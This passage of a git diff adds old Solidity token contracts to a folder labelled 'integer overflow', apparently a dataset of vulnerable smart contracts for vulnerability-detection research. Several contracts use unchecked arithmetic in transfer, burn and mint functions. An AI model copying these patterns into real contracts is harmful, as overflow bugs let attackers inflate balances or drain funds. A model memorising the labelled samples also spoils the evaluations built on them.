getBonusByTime(getCurrentTimestamp()); + uint256 amount = value.mul(bonus); + + if (getCurrentTimestamp() >= startDate1 && getCurrentTimestamp() < endDate1) { + uint256 p1Bouns = getBounsByAmount(value, amount); + amount = amount + p1Bouns; + } + + require(saleCap >= amount); + + + balances[tokenWallet] = balances[tokenWallet].sub(amount); + balances[sender] = balances[sender].add(amount); + + saleCap = saleCap - amount; + + + weiRaised = weiRaised + value; + + + + fundWallet.transfer(msg.value); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/1822.sol b/smart_contract_dataset/integer overflow/1822.sol new file mode 100644 index 0000000000000000000000000000000000000000..315314871eeecef01959644be3b468226c5661f4 --- /dev/null +++ b/smart_contract_dataset/integer overflow/1822.sol @@ -0,0 +1,61 @@ +pragma solidity ^0.4.2; + +contract CoinByInsomnia { + string public name = "CoinByInsomnia"; + string public symbol = "CBI"; + string public standard = "CoinByInsomnia v1.0"; + uint256 public totalSupply; + + event Transfer( + address indexed _from, + address indexed _to, + uint256 _value + ); + + event Approval( + address indexed _owner, + address indexed _spender, + uint256 _value + ); + + mapping(address => uint256) public balanceOf; + mapping(address => mapping(address => uint256)) public allowance; + + constructor (uint256 _initialSupply) public { + balanceOf[msg.sender] = _initialSupply; + totalSupply = _initialSupply; + } + + function transfer(address _to, uint256 _value) public returns (bool success) { + require(balanceOf[msg.sender] >= _value); + + balanceOf[msg.sender] -= _value; + balanceOf[_to] += _value; + + emit Transfer(msg.sender, _to, _value); + + return true; + } + + function approve(address _spender, uint256 _value) public returns (bool success) { + allowance[msg.sender][_spender] = _value; + + emit Approval(msg.sender, _spender, _value); + + return true; + } + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { + require(_value <= balanceOf[_from]); + require(_value <= allowance[_from][msg.sender]); + + balanceOf[_from] -= _value; + balanceOf[_to] += _value; + + allowance[_from][msg.sender] -= _value; + + emit Transfer(_from, _to, _value); + + return true; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/1896.sol b/smart_contract_dataset/integer overflow/1896.sol new file mode 100644 index 0000000000000000000000000000000000000000..a896986c1f0c9a39a195507232720a08ec61cbe8 --- /dev/null +++ b/smart_contract_dataset/integer overflow/1896.sol @@ -0,0 +1,100 @@ +pragma solidity 0.4.21; + + +pragma solidity 0.4.21; +contract EIP20Interface { + + uint256 public totalSupply; + + + + function balanceOf(address _owner) public constant returns (uint256 balance); + + + + + + function transfer(address _to, uint256 _value) public returns (bool success); + + + + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); + + + + + + function approve(address _spender, uint256 _value) public returns (bool success); + + + + + function allowance(address _owner, address _spender) public constant returns (uint256 remaining); + + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); +} + + + +contract SAFCOIN is EIP20Interface { + + uint256 constant private MAX_UINT256 = 2**256 - 1; + mapping (address => uint256) public balances; + mapping (address => mapping (address => uint256)) public allowed; + + string public name; + uint8 public decimals; + string public symbol; + + function SAFCOIN( + uint256 _initialAmount, + string _tokenName, + uint8 _decimalUnits, + string _tokenSymbol + ) public { + balances[msg.sender] = _initialAmount; + totalSupply = _initialAmount; + name = _tokenName; + decimals = _decimalUnits; + symbol = _tokenSymbol; + } + + function transfer(address _to, uint256 _value) public returns (bool success) { + require(balances[msg.sender] >= _value); + balances[msg.sender] -= _value; + balances[_to] += _value; + emit Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { + uint256 allowance = allowed[_from][msg.sender]; + require(balances[_from] >= _value && allowance >= _value); + balances[_to] += _value; + balances[_from] -= _value; + if (allowance < MAX_UINT256) { + allowed[_from][msg.sender] -= _value; + } + emit Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) public returns (bool success) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) public view returns (uint256 remaining) { + return allowed[_owner][_spender]; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/1955.sol b/smart_contract_dataset/integer overflow/1955.sol new file mode 100644 index 0000000000000000000000000000000000000000..c2cfd5af3382fb6fba35b7a4fc96bc7dcb8ba4f3 --- /dev/null +++ b/smart_contract_dataset/integer overflow/1955.sol @@ -0,0 +1,318 @@ +pragma solidity ^0.4.21; + + + +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + + +contract Ownable { + address public owner; + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + if (newOwner != address(0)) { + owner = newOwner; + } + } +} + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + mapping(address => uint256) balances; + + + function transfer(address _to, uint256 _value) public returns (bool) { + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + return true; + } + + + function balanceOf(address _owner) public constant returns (uint256 balance) { + return balances[_owner]; + } +} + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract StandardToken is ERC20, BasicToken { + mapping (address => mapping (address => uint256)) allowed; + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + uint256 _allowance = allowed[_from][msg.sender]; + + + + + balances[_to] = balances[_to].add(_value); + balances[_from] = balances[_from].sub(_value); + allowed[_from][msg.sender] = _allowance.sub(_value); + return true; + } + + function approve(address _spender, uint256 _value) public returns (bool) { + + + + + require((_value == 0) || (allowed[msg.sender][_spender] == 0)); + + allowed[msg.sender][_spender] = _value; + return true; + } + + + function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } +} + + + +contract BBBToken is StandardToken, Ownable { + using SafeMath for uint256; + + + string public constant NAME = "M724 Coin"; + string public constant SYMBOL = "M724"; + uint8 public constant DECIMALS = 18; + + + uint256 public startDate1; + uint256 public endDate1; + + + uint256 public startDate2; + uint256 public endDate2; + + + uint256 public saleCap; + + + address public tokenWallet; + + + address public fundWallet; + + + uint256 public weiRaised; + + + event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount); + + + modifier uninitialized() { + require(tokenWallet == 0x0); + require(fundWallet == 0x0); + _; + } + + constructor() public {} + + + function () public payable { + buyTokens(msg.sender, msg.value); + } + + function getDate() public view returns(uint256 _date) { + _date = getCurrentTimestamp(); + } + + + function initialize(address _tokenWallet, address _fundWallet, uint256 _start1, uint256 _end1, + uint256 _saleCap, uint256 _totalSupply) public + onlyOwner uninitialized { + + require(_start1 < _end1); + require(_tokenWallet != 0x0); + require(_fundWallet != 0x0); + require(_totalSupply >= _saleCap); + + startDate1 = _start1; + endDate1 = _end1; + saleCap = _saleCap; + tokenWallet = _tokenWallet; + fundWallet = _fundWallet; + totalSupply = _totalSupply; + + balances[tokenWallet] = saleCap; + balances[0xb1] = _totalSupply.sub(saleCap); + } + + + function setPeriod(uint period, uint256 _start, uint256 _end) public onlyOwner { + require(_end > _start); + if (period == 1) { + startDate1 = _start; + endDate1 = _end; + }else if (period == 2) { + require(_start > endDate1); + startDate2 = _start; + endDate2 = _end; + } + } + + + function sendForPreICO(address buyer, uint256 amount) public onlyOwner { + require(saleCap >= amount); + + saleCap = saleCap - amount; + + balances[tokenWallet] = balances[tokenWallet].sub(amount); + balances[buyer] = balances[buyer].add(amount); + } + + + function setSaleCap(uint256 _saleCap) public onlyOwner { + require(balances[0xb1].add(balances[tokenWallet]).sub(_saleCap) > 0); + uint256 amount=0; + + if (balances[tokenWallet] > _saleCap) { + amount = balances[tokenWallet].sub(_saleCap); + balances[0xb1] = balances[0xb1].add(amount); + } else { + amount = _saleCap.sub(balances[tokenWallet]); + balances[0xb1] = balances[0xb1].sub(amount); + } + balances[tokenWallet] = _saleCap; + saleCap = _saleCap; + } + + + function getBonusByTime(uint256 atTime) public constant returns (uint256) { + if (atTime < startDate1) { + return 0; + } else if (endDate1 > atTime && atTime > startDate1) { + return 5000; + } else if (endDate2 > atTime && atTime > startDate2) { + return 2500; + } else { + return 0; + } + } + + function getBounsByAmount(uint256 etherAmount, uint256 tokenAmount) public pure returns (uint256) { + + uint256 bonusRatio = etherAmount.div(500 ether); + if (bonusRatio > 4) { + bonusRatio = 4; + } + uint256 bonusCount = SafeMath.mul(bonusRatio, 10); + uint256 bouns = SafeMath.mul(tokenAmount, bonusCount); + uint256 realBouns = SafeMath.div(bouns, 100); + return realBouns; + } + + + function finalize() public onlyOwner { + require(!saleActive()); + + + balances[tokenWallet] = balances[tokenWallet].add(balances[0xb1]); + balances[0xb1] = 0; + } + + + function saleActive() public constant returns (bool) { + return ( + (getCurrentTimestamp() >= startDate1 && + getCurrentTimestamp() < endDate1 && saleCap > 0) || + (getCurrentTimestamp() >= startDate2 && + getCurrentTimestamp() < endDate2 && saleCap > 0) + ); + } + + + function getCurrentTimestamp() internal view returns (uint256) { + return now; + } + + + function buyTokens(address sender, uint256 value) internal { + + require(saleActive()); + + + require(value >= 0.5 ether); + + + uint256 bonus = getBonusByTime(getCurrentTimestamp()); + uint256 amount = value.mul(bonus); + + if (getCurrentTimestamp() >= startDate1 && getCurrentTimestamp() < endDate1) { + uint256 p1Bouns = getBounsByAmount(value, amount); + amount = amount + p1Bouns; + } + + require(saleCap >= amount); + + + balances[tokenWallet] = balances[tokenWallet].sub(amount); + balances[sender] = balances[sender].add(amount); + + saleCap = saleCap - amount; + + + weiRaised = weiRaised + value; + + + + fundWallet.transfer(msg.value); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/241.sol b/smart_contract_dataset/integer overflow/241.sol new file mode 100644 index 0000000000000000000000000000000000000000..b7b711f74d06588735bdd49b5242037746ba7e80 --- /dev/null +++ b/smart_contract_dataset/integer overflow/241.sol @@ -0,0 +1,115 @@ +pragma solidity ^0.4.10; + + +contract SafeMath { + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token , SafeMath { + + bool public status = true; + modifier on() { + require(status == true); + _; + } + + function transfer(address _to, uint256 _value) on returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { + balances[msg.sender] -= _value; + balances[_to] = safeAdd(balances[_to],_value); + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] = safeAdd(balances[_to],_value); + balances[_from] = safeSubtract(balances[_from],_value); + allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) on constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) on returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + + + + +contract ExShellToken is StandardToken { + string public name = "ExShellToken"; + uint8 public decimals = 8; + string public symbol = "ET"; + bool private init =true; + function turnon() controller { + status = true; + } + function turnoff() controller { + status = false; + } + function ExShellToken() { + require(init==true); + totalSupply = 2000000000; + balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; + init = false; + } + address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; + address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; + + modifier controller () { + require(msg.sender == controller1||msg.sender == controller2); + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/258.sol b/smart_contract_dataset/integer overflow/258.sol new file mode 100644 index 0000000000000000000000000000000000000000..8d4056df527c7b0767124c3f28ac8c0fd9b8d913 --- /dev/null +++ b/smart_contract_dataset/integer overflow/258.sol @@ -0,0 +1,109 @@ +pragma solidity ^0.4.16; + +interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } + +contract CRYPTOHEDGECoin { + + string public name; + string public symbol; + uint8 public decimals = 18; + + uint256 public totalSupply; + + + mapping (address => uint256) public balanceOf; + mapping (address => mapping (address => uint256)) public allowance; + + + event Transfer(address indexed from, address indexed to, uint256 value); + + + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + + + event Burn(address indexed from, uint256 value); + + + function CRYPTOHEDGECoin( + uint256 initialSupply, + string tokenName, + string tokenSymbol + ) public { + totalSupply = initialSupply * 10 ** uint256(decimals); + balanceOf[msg.sender] = totalSupply; + name = tokenName; + symbol = tokenSymbol; + } + + + function _transfer(address _from, address _to, uint _value) internal { + + require(_to != 0x0); + + require(balanceOf[_from] >= _value); + + require(balanceOf[_to] + _value >= balanceOf[_to]); + + uint previousBalances = balanceOf[_from] + balanceOf[_to]; + + balanceOf[_from] -= _value; + + balanceOf[_to] += _value; + emit Transfer(_from, _to, _value); + + assert(balanceOf[_from] + balanceOf[_to] == previousBalances); + } + + + function transfer(address _to, uint256 _value) public returns (bool success) { + _transfer(msg.sender, _to, _value); + return true; + } + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { + require(_value <= allowance[_from][msg.sender]); + allowance[_from][msg.sender] -= _value; + _transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public + returns (bool success) { + allowance[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function approveAndCall(address _spender, uint256 _value, bytes _extraData) + public + returns (bool success) { + tokenRecipient spender = tokenRecipient(_spender); + if (approve(_spender, _value)) { + spender.receiveApproval(msg.sender, _value, this, _extraData); + return true; + } + } + + + function burn(uint256 _value) public returns (bool success) { + require(balanceOf[msg.sender] >= _value); + balanceOf[msg.sender] -= _value; + totalSupply -= _value; + emit Burn(msg.sender, _value); + return true; + } + + + function burnFrom(address _from, uint256 _value) public returns (bool success) { + require(balanceOf[_from] >= _value); + require(_value <= allowance[_from][msg.sender]); + balanceOf[_from] -= _value; + allowance[_from][msg.sender] -= _value; + totalSupply -= _value; + emit Burn(_from, _value); + return true; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/33.sol b/smart_contract_dataset/integer overflow/33.sol new file mode 100644 index 0000000000000000000000000000000000000000..527dfe941c25334f624e24fbd5475ce2a41ddd63 --- /dev/null +++ b/smart_contract_dataset/integer overflow/33.sol @@ -0,0 +1,62 @@ +pragma solidity 0.4.24; + +contract AbcdEfg { + mapping (uint256 => Mark) public marks; + string public constant name = "abcdEfg"; + string public constant symbol = "a2g"; + uint8 public constant decimals = 0; + string public constant memo = "Fit in the words here!Fit in the words here!Fit in the words here!Fit in the words here!"; + + mapping (address => uint256) private balances; + mapping (address => uint256) private marked; + uint256 private totalSupply_ = 1000; + uint256 private markId = 0; + + event Transfer( + address indexed from, + address indexed to, + uint256 value + ); + + struct Mark { + address author; + bytes content; + } + + constructor() public { + balances[msg.sender] = totalSupply_; + } + + function () public { + mark(); + } + + function mark() internal { + require(1 + marked[msg.sender] <= balances[msg.sender]); + markId ++; + marked[msg.sender] ++; + Mark memory temp; + temp.author = msg.sender; + temp.content = msg.data; + marks[markId] = temp; + } + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_value + marked[msg.sender] <= balances[msg.sender]); + require(_to != address(0)); + + balances[msg.sender] = balances[msg.sender] - _value; + balances[_to] = balances[_to] + _value; + emit Transfer(msg.sender, _to, _value); + return true; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/339.sol b/smart_contract_dataset/integer overflow/339.sol new file mode 100644 index 0000000000000000000000000000000000000000..b7b711f74d06588735bdd49b5242037746ba7e80 --- /dev/null +++ b/smart_contract_dataset/integer overflow/339.sol @@ -0,0 +1,115 @@ +pragma solidity ^0.4.10; + + +contract SafeMath { + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token , SafeMath { + + bool public status = true; + modifier on() { + require(status == true); + _; + } + + function transfer(address _to, uint256 _value) on returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { + balances[msg.sender] -= _value; + balances[_to] = safeAdd(balances[_to],_value); + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] = safeAdd(balances[_to],_value); + balances[_from] = safeSubtract(balances[_from],_value); + allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) on constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) on returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + + + + +contract ExShellToken is StandardToken { + string public name = "ExShellToken"; + uint8 public decimals = 8; + string public symbol = "ET"; + bool private init =true; + function turnon() controller { + status = true; + } + function turnoff() controller { + status = false; + } + function ExShellToken() { + require(init==true); + totalSupply = 2000000000; + balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; + init = false; + } + address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; + address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; + + modifier controller () { + require(msg.sender == controller1||msg.sender == controller2); + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/34.sol b/smart_contract_dataset/integer overflow/34.sol new file mode 100644 index 0000000000000000000000000000000000000000..212d996afc4a916abfae73e92ba1665164b7570f --- /dev/null +++ b/smart_contract_dataset/integer overflow/34.sol @@ -0,0 +1,173 @@ + + + +pragma solidity ^0.4.18; + +contract owned { + address public owner; + + constructor() public { + owner = msg.sender; + } + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + function transferOwnership(address newOwner) onlyOwner public { + owner = newOwner; + } + + function destruct() public onlyOwner { + selfdestruct(owner); + } +} + + +interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } + + +contract TokenERC20 { + string public name; + string public symbol; + uint8 public decimals = 18; + uint256 public totalSupply; + + + mapping (address => uint256) public balanceOf; + mapping (address => mapping (address => uint256)) public allowance; + + + event Transfer(address indexed from, address indexed to, uint256 value); + + + event Burn(address indexed from, uint256 value); + + + constructor() public { + totalSupply = 10000000 * 10 ** uint256(decimals); + balanceOf[msg.sender] = totalSupply; + name = 'Global Gold Cash'; + symbol = "GGC"; + } + + + function _transfer(address _from, address _to, uint _value) internal { + require(_to != 0x0); + require(balanceOf[_from] >= _value); + require(balanceOf[_to] + _value > balanceOf[_to]); + uint previousBalances = balanceOf[_from] + balanceOf[_to]; + balanceOf[_from] -= _value; + balanceOf[_to] += _value; + emit Transfer(_from, _to, _value); + assert(balanceOf[_from] + balanceOf[_to] == previousBalances); + } + + + function transfer(address _to, uint256 _value) public { + _transfer(msg.sender, _to, _value); + } + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { + require(_value <= allowance[_from][msg.sender]); + allowance[_from][msg.sender] -= _value; + _transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public + returns (bool success) { + allowance[msg.sender][_spender] = _value; + return true; + } + + + function approveAndCall(address _spender, uint256 _value, bytes _extraData) + public + returns (bool success) { + tokenRecipient spender = tokenRecipient(_spender); + if (approve(_spender, _value)) { + spender.receiveApproval(msg.sender, _value, this, _extraData); + return true; + } + } + + + function burn(uint256 _value) public returns (bool success) { + require(balanceOf[msg.sender] >= _value); + balanceOf[msg.sender] -= _value; + totalSupply -= _value; + emit Burn(msg.sender, _value); + return true; + } + + + function burnFrom(address _from, uint256 _value) public returns (bool success) { + require(balanceOf[_from] >= _value); + require(_value <= allowance[_from][msg.sender]); + balanceOf[_from] -= _value; + allowance[_from][msg.sender] -= _value; + totalSupply -= _value; + emit Burn(_from, _value); + return true; + } +} + + +contract GlobalGoldCashToken is owned, TokenERC20 { + + uint256 public decimals = 18; + string public tokenName; + string public tokenSymbol; + uint minBalanceForAccounts ; + + mapping (address => bool) public frozenAccount; + + + event FrozenFunds(address target, bool frozen); + + + + + constructor() public { + owner = msg.sender; + totalSupply = 1000000000000000000; + balanceOf[owner]=totalSupply; + tokenName="Global Gold Cash"; + tokenSymbol="GGC"; + } + + + + function _transfer(address _from, address _to, uint _value) internal { + require (_to != 0x0); + require (balanceOf[_from] >= _value); + require (balanceOf[_to] + _value > balanceOf[_to]); + require(!frozenAccount[_from]); + require(!frozenAccount[_to]); + balanceOf[_from] -= _value; + balanceOf[_to] += _value; + emit Transfer(_from, _to, _value); + } + + + + + function mintToken(address target, uint256 mintedAmount) onlyOwner public { + balanceOf[target] += mintedAmount; + totalSupply += mintedAmount; + emit Transfer(0, this, mintedAmount); + emit Transfer(this, target, mintedAmount); + } + + + + + function freezeAccount(address target, bool freeze) onlyOwner public { + frozenAccount[target] = freeze; + emit FrozenFunds(target, freeze); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/35.sol b/smart_contract_dataset/integer overflow/35.sol new file mode 100644 index 0000000000000000000000000000000000000000..2260c8edf819b35c83ef6bad46f4d6d8c7ec4366 --- /dev/null +++ b/smart_contract_dataset/integer overflow/35.sol @@ -0,0 +1,61 @@ +pragma solidity ^0.4.24; +contract BEECASHBACKHOME { + + uint public constant _totalSupply = 50000000000000000000000000; + + string public constant symbol = "BCH"; + string public constant name = "BEE CASHBACK HOME"; + uint8 public constant decimals = 18; + + mapping(address => uint256) balances; + mapping(address => mapping(address => uint256)) allowed; + + function BEECASHBACKHOME() { + balances[msg.sender] = _totalSupply; + } + + function totalSupply() constant returns (uint256 totalSupply) { + return _totalSupply; + } + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function transfer (address _to, uint256 _value) returns (bool success) { + require( + balances[msg.sender] >= _value + && _value > 0 + ); + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { + require( + allowed[_from][msg.sender] >= _value + && balances[_from] >= _value + && _value > 0 + ); + balances[_from] -= _value; + balances[_to] += _value; + allowed [_from][msg.sender] -= _value; + Transfer (_from, _to, _value); + return true; + } + + function approve(address _spender, uint256 _value) returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/364.sol b/smart_contract_dataset/integer overflow/364.sol new file mode 100644 index 0000000000000000000000000000000000000000..8f2fbfa7cff36a5231ce5eb7530659cd3078f80d --- /dev/null +++ b/smart_contract_dataset/integer overflow/364.sol @@ -0,0 +1,103 @@ + + + +pragma solidity ^0.4.21; + + +contract EIP20Interface { + + + uint256 public totalSupply; + + + + function balanceOf(address _owner) public view returns (uint256 balance); + + + + + + function transfer(address _to, uint256 _value) public returns (bool success); + + + + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); + + + + + + function approve(address _spender, uint256 _value) public returns (bool success); + + + + + function allowance(address _owner, address _spender) public view returns (uint256 remaining); + + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); +} + + + +contract ATM is EIP20Interface { + + uint256 constant private MAX_UINT256 = 2**256 - 1; + mapping (address => uint256) public balances; + mapping (address => mapping (address => uint256)) public allowed; + + string public name; + uint8 public decimals; + string public symbol; + + function ATM( + uint256 _initialAmount, + string _tokenName, + uint8 _decimalUnits, + string _tokenSymbol + ) public { + balances[msg.sender] = _initialAmount; + totalSupply = _initialAmount; + name = _tokenName; + decimals = _decimalUnits; + symbol = _tokenSymbol; + } + + function transfer(address _to, uint256 _value) public returns (bool success) { + require(balances[msg.sender] >= _value); + balances[msg.sender] -= _value; + balances[_to] += _value; + emit Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { + uint256 allowance = allowed[_from][msg.sender]; + require(balances[_from] >= _value && allowance >= _value); + balances[_to] += _value; + balances[_from] -= _value; + if (allowance < MAX_UINT256) { + allowed[_from][msg.sender] -= _value; + } + emit Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) public returns (bool success) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) public view returns (uint256 remaining) { + return allowed[_owner][_spender]; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/370.sol b/smart_contract_dataset/integer overflow/370.sol new file mode 100644 index 0000000000000000000000000000000000000000..0e9b1997e1ac2d299f26c223416ae1c0c8cbefb8 --- /dev/null +++ b/smart_contract_dataset/integer overflow/370.sol @@ -0,0 +1,102 @@ + + +pragma solidity ^0.4.18; + + +contract EIP20Interface { + + + uint256 public totalSupply; + + + + function balanceOf(address _owner) public view returns (uint256 balance); + + + + + + function transfer(address _to, uint256 _value) public returns (bool success); + + + + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); + + + + + + function approve(address _spender, uint256 _value) public returns (bool success); + + + + + function allowance(address _owner, address _spender) public view returns (uint256 remaining); + + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); +} + + + +contract Purox is EIP20Interface { + + uint256 constant private MAX_UINT256 = 2**256 - 1; + mapping (address => uint256) public balances; + mapping (address => mapping (address => uint256)) public allowed; + + string public name; + uint8 public decimals; + string public symbol; + + function Purox( + uint256 _initialAmount, + string _tokenName, + uint8 _decimalUnits, + string _tokenSymbol + ) public { + balances[msg.sender] = _initialAmount; + totalSupply = _initialAmount; + name = _tokenName; + decimals = _decimalUnits; + symbol = _tokenSymbol; + } + + function transfer(address _to, uint256 _value) public returns (bool success) { + require(balances[msg.sender] >= _value); + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { + uint256 allowance = allowed[_from][msg.sender]; + require(balances[_from] >= _value && allowance >= _value); + balances[_to] += _value; + balances[_from] -= _value; + if (allowance < MAX_UINT256) { + allowed[_from][msg.sender] -= _value; + } + Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) public returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) public view returns (uint256 remaining) { + return allowed[_owner][_spender]; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/372.sol b/smart_contract_dataset/integer overflow/372.sol new file mode 100644 index 